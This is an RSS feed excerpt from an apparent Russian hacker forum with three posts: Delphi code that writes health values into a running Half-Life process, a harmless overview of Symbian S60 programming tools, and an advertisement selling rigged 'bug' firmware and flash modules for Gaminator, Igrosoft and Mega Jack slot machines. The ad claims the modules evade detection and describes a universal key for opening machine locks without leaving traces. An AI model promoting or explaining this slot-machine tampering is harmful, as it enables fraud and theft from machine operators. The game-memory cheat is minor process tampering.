						&lt;p&gt;Сначало объяви вот это дерьмо:&lt;br /&gt;Код:&lt;br /&gt;const&lt;br /&gt;WindowTitle = &#039;Half-Life&#039;;// названия окна&lt;br /&gt;Addr_Health1 = $00137A54;&lt;br /&gt;Addr_Health2 = $00138938;&lt;br /&gt;Addr_Health3 = $01CBA38C;&lt;br /&gt;// адреса в памяти&lt;br /&gt;var&lt;br /&gt;Wnd : THandle;// хэндл окна&lt;br /&gt;ProcessId : integer;// пид (не п*д*р)&lt;br /&gt;pokevalue : single;&lt;br /&gt;// само значение (про типы данных помнишь?)&lt;br /&gt;ProcHandle : integer;// хэндл процесса&lt;br /&gt;NumberOfBytes: byte;// кол-во байтов&lt;br /&gt;rw : cardinal;// чтение/запись&lt;/p&gt;
						&lt;p&gt;Теперь добавь на форму Edit и Button, а по нажатию button’а напиши следующее:&lt;br /&gt;Код:&lt;br /&gt;begin&lt;br /&gt;Wnd := FindWindow(nil,WindowTitle); // получаем хэндл окна&lt;br /&gt;if Wnd = 0 then // если гама не запущена, то обламываем лама&lt;br /&gt;begin&lt;br /&gt;MessageBox(0,&#039;Запусти КС, козел&#039;,&#039;Ошибка в ДНК!&#039;,MB_OK + MB_ICONERROR);&lt;br /&gt;exit;&lt;br /&gt;end;&lt;br /&gt;try&lt;br /&gt;pokevalue := StrToInt(Edit1.Text); // получаем кол-во хп, введенное в Edit&lt;br /&gt;except&lt;br /&gt;MessageBox(0,&#039;Введи хп, козел&#039;,&#039;Ошибка в ДНК!&#039;,MB_OK + MB_ICONERROR);&lt;br /&gt;exit;&lt;br /&gt;end;&lt;br /&gt;GetWindowThreadProcessId(Wnd, @ProcessId); // получаем PID&lt;br /&gt;ProcHandle := OpenProcess(PROCESS_ALL_ACCESS,false,ProcessId);&lt;br /&gt;// получаем хэндл процесса&lt;br /&gt;NumberOfBytes := 4;// в данном случае 4 байта,&lt;br /&gt;// а это значит, что максимально значение&lt;br /&gt;// == 2564 (~4 миллиарда хп )&lt;br /&gt;WriteProcessMemory(ProcHandle,ptr(Addr_Health1),@p okevalue,NumberOfBytes,rw);&lt;br /&gt;WriteProcessMemory(ProcHandle,ptr(Addr_Health2),@p okevalue,NumberOfBytes,rw);&lt;br /&gt;WriteProcessMemory(ProcHandle,ptr(Addr_Health3),@p okevalue,NumberOfBytes,rw);&lt;br /&gt;// хакаем игру&lt;br /&gt;Closehandle(ProcHandle);&lt;br /&gt;// закругляемся&lt;br /&gt;end;&lt;/p&gt;
						&lt;p&gt;Тут вроде все ясно где и что.&lt;br /&gt;Запомни, что это для КСа, поэтому тот же код не потянет на некоторые гамы! Там уж сами разбирайтесь… Поседишь где-нибудь часика 2 и поймешь что к чему.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 18:51:25 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=4#p4</guid>
		</item>
		<item>
			<title>Создание программ для Symbian S60</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=3#p3</link>
			<description>&lt;p&gt;Создание программ для Symbian S60: C , Python, Basic, Java - Программирование для смартфонов! &lt;/p&gt;
						&lt;p&gt; Программная платформа Symbian Series 60 (или S60) — самая популярная в мире смартфонов и коммуникаторов, если судить по продажам мобильных устройств. Поэтому приложения именно для этой платформы актуальны как никогда. Создание программ — процесс увлекательный, и данная статья поможет всем желающим попробовать свои силы в этом деле. &lt;/p&gt;
						&lt;p&gt; Казалось бы, совсем недавно смартфоны стоили весьма прилично, да и на прилавках появлялись редко; программирование для «умников» было увлечением сложным и малоперспективным. Однако сейчас приобрести «умный телефон» можно за приемлемую цену, а создавать для него программы имеют возможность не только профессионалы и энтузиасты, но и обычные пользователи. Причина этого в том, что появились простые в освоении языки программирования для Symbian Series 60. &lt;br /&gt; КОМПИЛЯТОРЫ И ИНТЕРПРЕТАТОРЫ &lt;/p&gt;
						&lt;p&gt; Есть два принципиально различных типа программ: самостоятельные приложения и исполняемые файлы, которые запускаются только при наличии установленной в устройстве специальной среды — интерпретатора. &lt;/p&gt;
						&lt;p&gt; В первом случае для «перевода» текста программы на язык, понятный какой-либо платформе (в нашем случае S60), необходим компилятор — специальное приложение, которое, как правило, входит в состав средств разработчика. Итак, пропускаем написанный код через компилятор и на выходе получаем самостоятельное приложение для совместимой платформы. Достаточно скопировать его на соответствующий аппарат и элементарно запустить. Поясним. В случае с Windows XP компилятор выдает EXE-файл. Все, что требуется от пользователя для запуска, — это двойной клик. Компилируемые языки программирования в освоении сложны, зато творческих возможностей предоставляют больше. C , например, — стандарт де-факто при разработке ПО, в том числе и для многих мобильных платформ. &lt;br /&gt; Плюсы &lt;/p&gt;
						&lt;p&gt; максимальная скорость и минимально потребляемые ресурсы &lt;/p&gt;
						&lt;p&gt; для работы программы требуются только ее собственные файлы &lt;/p&gt;
						&lt;p&gt; удобное средство для создания коммерческих продуктов &lt;br /&gt; Минусы &lt;/p&gt;
						&lt;p&gt; — сложные для освоения языки &lt;/p&gt;
						&lt;p&gt; — необходимость создания различных версий продукта для разных платформ &lt;/p&gt;
						&lt;p&gt; Интерпретатор занимается тем, что объясняет данному устройству, как следует выполнять код программы. Пожалуй, самый известный пример интерпретатора — виртуальная машина Java, которая, кстати, по умолчанию наличествует не только в смартфонах, но и практически в любых современных телефонах. Интерпретатор Java — универсален. Одна и та же Java-программа, как правило, выполняется и на Windows Mobile коммуникаторе, и на каком-нибудь музыкальном телефоне Sony Ericsson. &lt;/p&gt;
						&lt;p&gt; Минусы интерпретаторов — в относительно медленной скорости работы, а кроме того, они обладают изрядным аппетитом в плане потребления ресурсов. Зато такие языки просты для изучения. Помимо Java, к интерпретаторам можно отнести, например, «настольный» Basic, который преподается почти во всех школах. &lt;br /&gt; Плюсы &lt;/p&gt;
						&lt;p&gt; легкость освоения &lt;/p&gt;
						&lt;p&gt; в ряде случаев — возможность написания и отладка программ на самом устройстве &lt;br /&gt; Минусы &lt;/p&gt;
						&lt;p&gt; — зависимость программы от интерпретатора &lt;/p&gt;
						&lt;p&gt; — медленная работа и большое потребление оперативной памяти &lt;/p&gt;
						&lt;p&gt; — трудность создания коммерческих продуктов &lt;br /&gt; ПИТОН СЪЕЛ МЫШЬ&lt;/p&gt;
						&lt;p&gt;---------------------------------------------&lt;br /&gt;Как было сказано, интерпретаторы отлично подойдут для новичков и тех, кто хочет понять общие принципы написания программ Symbian Series 60. Здесь выбор будет лежать между двумя средами программирования: Python и mShell («Питон» и «Мышь» на жаргоне программистов). &lt;/p&gt;
						&lt;p&gt; Python — разновидность одноименного компьютерного языка программирования; официально поддерживается компаниями Symbian и Nokia. Установочные файлы можно найти на страничке &lt;a href=&quot;http://sourceforge.net/project/showfiles.php?group_id=154155.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://sourceforge.net/project/showfile &amp;#8230; id=154155.&lt;/a&gt; Существуют различные версии для смартфонов с Symbian OS 6.1, 7.0s, 8.0, 8.1 и 9.1. Состоит Python из двух частей — PythonForS60 и PythonScriptShell. Первый файл отвечает за функции языка, а после установки второго в Меню смартфона появляется значок для запуска консоли Python. &lt;/p&gt;
						&lt;p&gt; После этого можно работать с файлами, имеющими расширение .py (содержат текст программы на языке Python), и писать программы прямо на смартфоне. Невидимая в Меню PythonInstaller поможет установить новые PY-файлы и библиотеки, а также создать на их основе программу со своим значком в Меню. &lt;br /&gt; Плюсы &lt;/p&gt;
						&lt;p&gt; возможность использования сторонних библиотек &lt;/p&gt;
						&lt;p&gt; создание самостоятельных приложений на основе Python-программ &lt;/p&gt;
						&lt;p&gt; широкое распространение и наличие сообщества программистов &lt;br /&gt; Минусы &lt;/p&gt;
						&lt;p&gt; — мало похож на популярные языки (Basic, Pascal, C) &lt;/p&gt;
						&lt;p&gt; — отсутствие собственного редактора для набора текста программы &lt;/p&gt;
						&lt;p&gt; mShell создан фирмой infowing AG (wwwmshell.net). Поддерживаются смартфоны с Series 60 2nd Edition (Symbian OS v7.0s, v8.0, v8.1) и Series 60 3rd Edition (Symbian OS v9.1). После установки необходимо осуществить бесплатную процедуру регистрации через SMS. Оболочка mShell дает возможность запускать несколько M-файлов (текст программы на языке mShell) одновременно и редактировать их, а также предоставляет справку по любой функции. &lt;br /&gt; Плюсы &lt;/p&gt;
						&lt;p&gt; Pascal-подобный язык &lt;/p&gt;
						&lt;p&gt; высокая скорость работы, особенно с двухмерной графикой &lt;/p&gt;
						&lt;p&gt; имеется собственная среда разработчика с удобной помощью &lt;br /&gt; Минусы &lt;/p&gt;
						&lt;p&gt; — плохая распространенность &lt;/p&gt;
						&lt;p&gt; — запуск программ только из среды mShell &lt;/p&gt;
						&lt;p&gt; Итог: Python выглядит более привлекательным — он позволяет создавать приложения со своим значком в Меню, которые к тому же удастся упаковать в SIS-файлы. Однако mShell списывать со счетов не стоит — скорость работы и потребление ресурсов выгодно отличают его от других языков, к тому же разработчики обещали в будущем дополнить его компилятором (!). &lt;br /&gt; ВЕЗДЕСУЩАЯ JAVA &lt;/p&gt;
						&lt;p&gt; На данный момент почти все выпускаемые сотовые телефоны имеют предустановленную возможность для запуска Java-программ (мидлетов). Большая распространенность этой технологии привлекает внимание разработчиков коммерческих продуктов (особенно игр), но и обычный пользователь может сделать что-нибудь свое. Для этого на компьютере необходимо установить следующие программы со страницы java.sun.com/javame/: &lt;/p&gt;
						&lt;p&gt; 1) Java 2 Standard Edition SDK — компиляторы и утилиты для создания Java-мидлетов; &lt;/p&gt;
						&lt;p&gt; 2) J2ME Wireless Toolkit — эмуляторы и средства для отладки Java-мидлетов; &lt;/p&gt;
						&lt;p&gt; 3) NetBeans IDE (для работы с J2ME необходим еще и NetBeans Mobility Pack) — среда разработчика. &lt;/p&gt;
						&lt;p&gt; Продуктом процесса разработки станут JAD- и JAR-файлы. Выбор технологии Java будет оптимальным, если хотите, чтобы ваш продукт охватил большое количество телефонов. &lt;/p&gt;
						&lt;p&gt; Реализация Java на смартфонах с версией Symbian 6-8 оставляет желать лучшего: долгая загрузка, медленная скорость работы, большое потребление оперативной памяти. Однако Symbian 9.2 преподнесла сюрпризы: загрузка мидлетов моментальная, да и с оперативной памятью дело обстоит не так плачевно. Таким образом, все последующие модели смартфонов от Nokia начнут адекватно работать с технологией Java. А уверенность в безоблачном будущем — то, что нужно любому разработчику! &lt;br /&gt; Плюсы &lt;/p&gt;
						&lt;p&gt; большая популярность и легкость создания программ &lt;/p&gt;
						&lt;p&gt; поддержка практически в любом сотовом телефоне &lt;/p&gt;
						&lt;p&gt; богатая документация и наличие ресурсов данной тематики &lt;br /&gt; Минусы &lt;/p&gt;
						&lt;p&gt; — не самая высокая скорость работы &lt;/p&gt;
						&lt;p&gt; — нет доступа ко всем телефонным возможностям &lt;br /&gt; ШИЛО НА МЫЛО &lt;/p&gt;
						&lt;p&gt; Язык Java показался сложным? Тогда стоит использовать программы-посредники: «скармливайте» им программу, написанную на родственниках таких популярных языков, как Pascal и Basic, и на выходе получайте готовый Java-мидлет.&lt;/p&gt;
						&lt;p&gt;---------------------------------------------&lt;br /&gt;MidletPascal можно скачать с сайта разработчиковwww.midletpascal.com(временно не работает), за пользование программой денег не просят. Поставляется MidletPascal с собственной, дружественной к пользователю средой разработки (IDE). Среда имеет встроенный компилятор, инспектор кода Java и обеспечивает построение архива JAR, что избавляет от установки Java SDK. В итоге компиляция и компоновка мидлетов проста, как нажатие на кнопку. Порадует вас встроенная справка по доступным функциям: работа с графикой, SMS, звуками, файлами и т. д. &lt;/p&gt;
						&lt;p&gt; OmegaBasic — специализированная среда разработки для создания программ и игр. Включает удобный редактор, поддерживает работу с проектами. Можно просматривать несколько файлов, ставить закладки, распечатывать справку по функциям. OmegaBasic позволяет работать с графикой, картами, звуком, музыкой, анимацией, видео и сетью. В качестве основного языка программирования используется Basic. Можно программировать и на Java, используя расширенный набор API OmegaBasic. Сайт разработчика — omegabasic.thegamecreators.com, оттуда можно скачать триальную версию, в которой программы ограничиваются 250 строками кода. Для функционирования OmegaBasic необходимо установить на ПК Java 1.4 SDK и Java Mobile 1.2 SDK. &lt;/p&gt;
						&lt;p&gt; MobileBasic — такая же специализированная среда. Ее особенность — наличие сервисов по так называемой немедленной OVER-THE-AIR («по воздуху») установке написанных мидлетов на телефоны. Написав программу, программист в MobileBasic может сохранить ее в виде JAD- и JAR-файлов. Эти файлы с помощью MidletUploader выгружаются на сервер MobileBasic. Сервер создает WAP/WML-страницы, подключившись к которым с помощью WAP-браузера телефона можно установить мидлет. Кроме этого сервиса, в MobileBasic имеется графический редактор, редактор карт и плиточных изображений, а также редактор мелодий для телефонов Nokia. &lt;/p&gt;
						&lt;p&gt; Скачать демо-версию MobileBasic можно со страницы wwwmobilebasic.com/desktopedition.html. Стоимость продукта — 24,99 фунтов стерлингов, ограничение триальной версии — максимум 1 Кб исходного кода. На сайте не стоит пренебрегать регистрацией, иначе запустить MobileBasic получится не более 30 раз. Как и в прошлом случае, необходимы установленные на компьютер Java SDK. &lt;/p&gt;
						&lt;p&gt; Итог: OmegaBasic и MobileBasic — почти близнецы в плане подхода к написанию кода, к тому же обладают схожим функционалом. Недостатки: необходимость приобретать платную версию и устанавливать Java SDK. На этом фоне ярко выделяется MidletPascal — самый популярный, простой в установке, и главное — бесплатный! &lt;br /&gt; ТЯЖЕЛАЯ АРТИЛЛЕРИЯ &lt;/p&gt;
						&lt;p&gt; C for Symbian — наилучший (и, по сути, единственный) язык для создания профессиональных и коммерческих приложений для смартфонов Symbian Series 60. Именно на нем пишется сама система и предустановленное программное обеспечение. Если вы полны решимости программировать на C for Symbian, то необходимо установить: &lt;/p&gt;
						&lt;p&gt; 1) среду разработки — CodeWarrior (wwwforum.nokia.com/codewarrior), Carbide.с (wwwforum.nokia.com/main/resources/tools_and_sdks/carbide_cpp/) или другое; &lt;/p&gt;
						&lt;p&gt; 2) SDK для Symbian соответствующей Edition и Feature Pack под нужную среду разработки (wwwforum.nokia.com/info/sw.nokia.com/id/4a7149a5-95a5-4726-913a-3c6f21eb65a5/S60-SDK-0616-3.0-mr.html); &lt;/p&gt;
						&lt;p&gt; 3) Java 2 Standard Edition; &lt;/p&gt;
						&lt;p&gt; 4) Perl версии не ниже 5.003.07. &lt;/p&gt;
						&lt;p&gt; При создании программ на C for Symbian можно получить доступ ко всем возможностям смартфона, что не идет ни в какое сравнение с Java и прочими интерпретируемыми языками. Полученные продукты будут потреблять минимум ресурсов и работать с максимальной скоростью, так как между программой и системой не будет посредников-интерпретаторов. &lt;/p&gt;
						&lt;p&gt; При компиляции программного кода создается не только приложение, а также иконка и необходимые файлы ресурсов. Все это в конце концов упаковывается в установочный файл SIS. После его подписи (если необходимо) разработчик может распространять и продавать программу как готовый продукт. &lt;br /&gt; * * * &lt;/p&gt;
						&lt;p&gt; Экскурс подошел к концу, а значит пора решаться на выбор средства программирования. Если хотите получить профессиональный продукт — необходимо использовать C for Symbian, популярная Java не так быстра и не поддерживает всех возможностей платформы S60, зато может запускаться и на обычных телефонах, причем не только от Nokia.&lt;/p&gt;
						&lt;p&gt;---------------------------------------------&lt;br /&gt;Python — отличный выбор для тех, кто собирается писать несложные, но полезные программы; возможность отлаживать программы прямо на смартфоне уникальна. Мы подготовили серию статей, обучающих программированию на мобильном Python, и приложили ряд примеров и любопытных программ, написанных специально для Mobi. В наших закромах также найдется материал по работе с MidletPascal. &lt;br /&gt; ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ &lt;br /&gt; Самая популярная платформа &lt;/p&gt;
						&lt;p&gt; Платформу Series 60 создала компания Nokia. Финны решили поделиться удачной разработкой — они не только сами выпускают огромное количество S60-смартфонов, но и предоставляют лицензии другим производителям. S60-аппараты есть в активе Samsung, Panasonic, LG и других. Samsung, к примеру, недавно представила свой первый S60-смартфон с GPS — Samsung i550. &lt;br /&gt; Темная лошадка &lt;/p&gt;
						&lt;p&gt; Невозможно не упомянуть о языке Ruby (русская страничка preview.ruby-lang.org/ru/). Он обладает двумя серьезными минусами, которые сдерживают его распространение на S60: отсутствие графического интерфейса и доступа к «телефонным» функциям смартфона. Программы на этом языке не могут работать с графикой, SMS, камерой и т. д. Выигрывает Ruby за счет быстрых математических вычислений и работы с интернетом. Будем ждать дальнейшего развития проекта! &lt;br /&gt; Вооружение программиста &lt;/p&gt;
						&lt;p&gt; Программирование для любой платформы невозможно без SDK — Software Development Kit (набор разработчика), обычно его можно получить бесплатно из интернета. Практически всегда только SDK содержит компилятор, эмулятор и другие приложения. &lt;/p&gt;
						&lt;p&gt; Вся работа с компилятором и другими утилитами идет в командной строке DOS, а сама программа и конфигурационные файлы набираются в любом текстовом редакторе. &lt;/p&gt;
						&lt;p&gt; Для удобной работы существует IDE (Integrated Development Environment) — среда разработчика, посредник между SDK и пользователем. IDE содержит текстовый редактор, функции для создания и управления проектом, а также средства, автоматизирующие работу. IDE укажет компилятору из SDK обработать программу, создаст необходимые файлы и выведет ошибки, если таковые имеются. За такие блага часто приходится платить наличными — в основном IDE разрабатываются сторонними фирмами. &lt;/p&gt;
						&lt;p&gt; Кстати, некоторые IDE, например MidletPascal, обладают встроенным компилятором, что позволяет обойтись без установки SDK. Мобильные же интерпретаторы сами по себе реализованы как среда разработчиков, и компиляторов не предполагают. &lt;br /&gt; Язык в языке &lt;/p&gt;
						&lt;p&gt; Существуют Java-мидлеты, которые позволяют прямо на смартфоне писать и запускать программы. MobileBasic, например, можно скачать со страницы wwwmobilebasic.com/phoneedition.html. Стоимость — 9,99 евро, триальный период — 30 дней. Вся работа ведется в командной строке, где нужно набрать текст на языке Basic и нажать джойстик. В случае успешного выполнения будет напечатано READY, в противном случае появится подробное сообщение об ошибке. &lt;/p&gt;
						&lt;p&gt; На практике процесс ввода кода и запуска программы получился крайне неудобным. Тем не менее в последней версии разработчики обещают богатые возможности работы с вычислениями, графикой, файлами и интернетом. &lt;/p&gt;
						&lt;p&gt; Более привлекателен DROS — эмулятор старого доброго DOS. Мидлет позволяет запускать BAS-файлы — программы на языке Basic. Язык не так богат функциями, упор сделан на создание игр. Большой плюс — удобный редактор текста программы, а главное — он абсолютно бесплатен! Скачать ZIP-архив можно с сайта wwwwhoredoeuvre.com, где кроме самого мидлета будут примеры и инструкция с описанием программы и языка Basic. &lt;/p&gt;
						&lt;p&gt; Сертификация в Symbian 9 &lt;/p&gt;
						&lt;p&gt; При написании коммерческого приложения для Symbian 9 (а это все новые смартфоны от Nokia) разработчик должен купить сертификат на право использования необходимых библиотек с нужными функциями, что стоит денег. Возможность доступа к функциям подтверждается соответствующей подписью установочного файла. Бесплатные приложения можно создать, но они буду иметь ограниченный функционал. Все это продвигается компанией Symbian и Nokia как новое слово в безопасности и борьбе с мобильными вирусами.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Sun, 18 Mar 2012 18:34:09 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=3#p3</guid>
		</item>
		<item>
			<title>Взлом игровых автоматов (Секретные способы взломать игровые автоматы G</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=2#p2</link>
			<description>&lt;p&gt;Самый простой способ заработать сразу и много – произвести программный взлом слот аппарата. Конечно некоторые скептики возразят, говоря о том, что игровые автоматы имеют сложные неоднозначные алгоритмы, обхитрить которые практически невозможно. Чтобы узнать как взломать игровые автоматы Gaminator , Mega Jack и Igrosoft, требуется совсем немного... подробнее - BUGAVTOMAT.RU и YOURLUCKYCHIP.RU &lt;br /&gt; Несмотря на крутой прогресс во всех сферах, лазейки и слабые места в программном обеспечении ИА есть и почему бы не воспользоваться ими. Способ взлома применяя баговые прошивки для игровых автоматов - это как раз тот случай, когда слабость ПО может сыграть на руку тому, кто захочет склонить фортуну на свою сторону. &lt;br /&gt; Вопрос каждого игрока - как выиграть? Ответ один: без физ. доступа к плате - невозможно! Можно, конечно, почитать в интернете публикации секреты от Пети, взять побольше денег, амулеты, пробормотать заклинание, и всё проиграть. Предлагаем другой подход - снедрить, то есть установить специальную микросхему с установленным (записанным) багом на плату игрового автомата Игрософт или Mega Jack или флеш модуль для Gaminator - и играть в свое удовольствие? зарабатывая в нужное время. Баг это ошибка в программе или системе (игры клубнички, обезьянки , резидент ), которая выдает неожиданный или неправильный результат, в нашем случае это резкое повышение процента выигрыша, до нескольких сот процентов. Или выдача линий с крупными символами или удвоение в риск игре с стопроцентным успехом. &lt;/p&gt;
						&lt;p&gt;---------------------------------------------&lt;br /&gt;Для того чтобы решить вопрос доступа можно купить универсальный ключ к замкам игровых автоматов. Он используется в случаях, когда необходим доступ к плате аппарата, на которой размещаются все микрокомпоненты. Или в случаях, когда потерян ключ от замков, всегда можно воспользоваться этим универсальным инструментом. Он помогает взломать практически все круглые семиконтактные замки. Обычно такие замки установлены почти на всех аппаратах, а так же платёжных терминалах и не только. Вам открывается полный доступ к плате, возможность набивки кредита, вход в сервис меню и т.п. Он работает по принципу само-импрессии. Ключи имеют обжимное кольцо, с помощью которого выставляется сила трения штанг, при вставке в скважину замка штанги не должны резко смещаться. Надо вставить универсальный ключ в замок до упора и совершать им поступательные и круговые движения, штанги должны начать ползти. Чем больше сила трения, тем дольше и точнее будет происходить набор кода механического замка и наоборот. Важно, что открытие замка происходит без физических следов и замок остаётся стопроцентно работоспособным. Оформить заказ можно на нашем сайте bugavtomat.ru . Организована доставка во все регионы. &lt;br /&gt; Например для Igrosoft - активация бага начинается после того, как вы сыграете по различным комбинациям линий и ставок в определённой последовательности. После этого процент отдачи аппарата увеличивается, часто выдаются большие выигрышные линии и бонусы. Деактивация (остановка действия бага игрового аппарата Игрософт) производится также игрой по определенным комбинациям или путём снятия кредита. После замены микросхем на баговые, статистика остаётся прежней, аппарат не требует обнуления. Проги для выявления закладок не фиксируют сигнатуру вирус-кода. Замена такой микросхемы (при наличии ключей от дверей игрового автомата) займет не более одной минуты. Таким способом можно выиграть все игры Island, Rock Climber, Garage, Pirate, Crazy Monkey, Fruit Cocktail, Resident, Lucky Hunter, Gnome, Keks &lt;br /&gt; Для плат Mega Jack есть в продаже два варианта ПЗУ-шек, в первом случае после активации выпадает крупная выигрышная линия, во втором случае, после активации Вы можете стопроцентно удваивать. Принимаются заказы на бажный Dallas (30.25 и 30.50) несколько кодов на активацию - практически не выкупаемая тема подробнее - BUGAVTOMAT.RU и YOURLUCKYCHIP.RU &lt;/p&gt;
						&lt;p&gt;Добавлено (12.03.2012, 14:44)&lt;br /&gt;---------------------------------------------&lt;br /&gt;Весь секрет взлома игровых автоматов Gaminator (Гаминатор) заключен в изменении программы игры. Изготовленная баг-прошивка и специально установленная в аппарат, дает выиграть игроку в подходящее для этого время. Баговая прошивка записана на Simm-flash модуль , модули с оригинальной уже установлены в платы, для взлома потребуется заменить такой один модуль. Для установки модуля с багом в игровой автомат, есть обязательное условие -это доступ к электронике ( плате игрового автомата ). Если Вам повезло и такой доступ имеется то, потребуется вытащить из разьема оригинальный флеш-модуль с меткой G2 и заменить на свой с уже записанным багом. &lt;br /&gt; Баговая прошивка позволяющая выигрывать на игровых автоматах: Gaminator Admiral Novomatic на удвоении в угадывании карты черная или красная. При срабатывании Вирус-программы, карты начинают выпадать по известному для взломщика алгоритму, он заранее знает какой цвет карты выдаст аппарат. Инструкции к флешке или прошивке прилагаются. &lt;br /&gt; Принцип работы - удвоить выигрыш. Во время игры аппарат ведет себя как обычно. Для того чтобы начать взлом игровых автоматов нужно заранее знать как правильно играть на удвоении. &lt;br /&gt; При выдачи аппаратом выигрышных кредитов он ждет дальнейших действий от игрока. Будет он продолжать играть или попробует увеличить свой выигрыш путем угадывания цвета карты. Если игрок угадает цвет карты (черная или красная масть) то его выигрыш увеличивается в два раза, если нет -проигрывает. Количество удвоений за один раз прописывается в настройках игрового аппарата и может быть зафиксирован на максимальном кредите или кол-ве удвоений (к примеру пять раз). &lt;br /&gt; В нашем случае, игрок будет точно знать какую масть карты выдаст аппарат и выигрыш в удвоении ему обеспечен. &lt;br /&gt; Если говорить точнее то, перепрограммируется один флеш-модуль G2, на плате их всего два. &lt;br /&gt; В него мы вставляем вирус-код программы, еще эта процедура завется как: зачиповать, чиповкой, установкой Багa. Вам остается только выбрать момент и поставить такую флешку в автомат. Далее вы самостоятельно сможете снимать выигрыши в удобное для вас время. У нас вы можете приобрести уже запрограммированные флешки, для этого вам потребуется только определить номер и версию прошивки &lt;br /&gt; Для взлома игрового автомата Gaminator может помочь разработанные для это специальные Программы игровых автоматов Gaminator Novomatic Определить такой модуль в игровом аппарате будет практически не возможно. Во время установки зараженного модуля в аппарат, его не требуется обнулять или проводить инит. После установки модуля с багом -игровой автомат будет работать так же, как и прежде, ни каких видимых изменений не произойдет. процент возврата и статистика будет оставаться прежними. Чтобы проверить установленный зараженный модуль с багом, необходимо специальное оборудование для этого. &lt;br /&gt; Если вы владеете навыками программирования и у вас есть специальное устройство - программатор, то вы можете купить только бинарные файлы (*.bin, *.rom) и сами записать код на микросхему. &lt;br /&gt; Если у вам охота и есть возможность самостоятельно редактировать прошивки, приобретайте программу для вставки бага. Простой интерфейс программы укажет как скоро делать прошивки с багом, и кодами на своё усмотрение. &lt;br /&gt; Подробнее BUGAVTOMAT.RU и YOURLUCKYCHIP.RU&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Лакки Чип)</author>
			<pubDate>Sun, 18 Mar 2012 18:29:20 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=2#p2</guid>
		</item>
	</channel>
</rss>
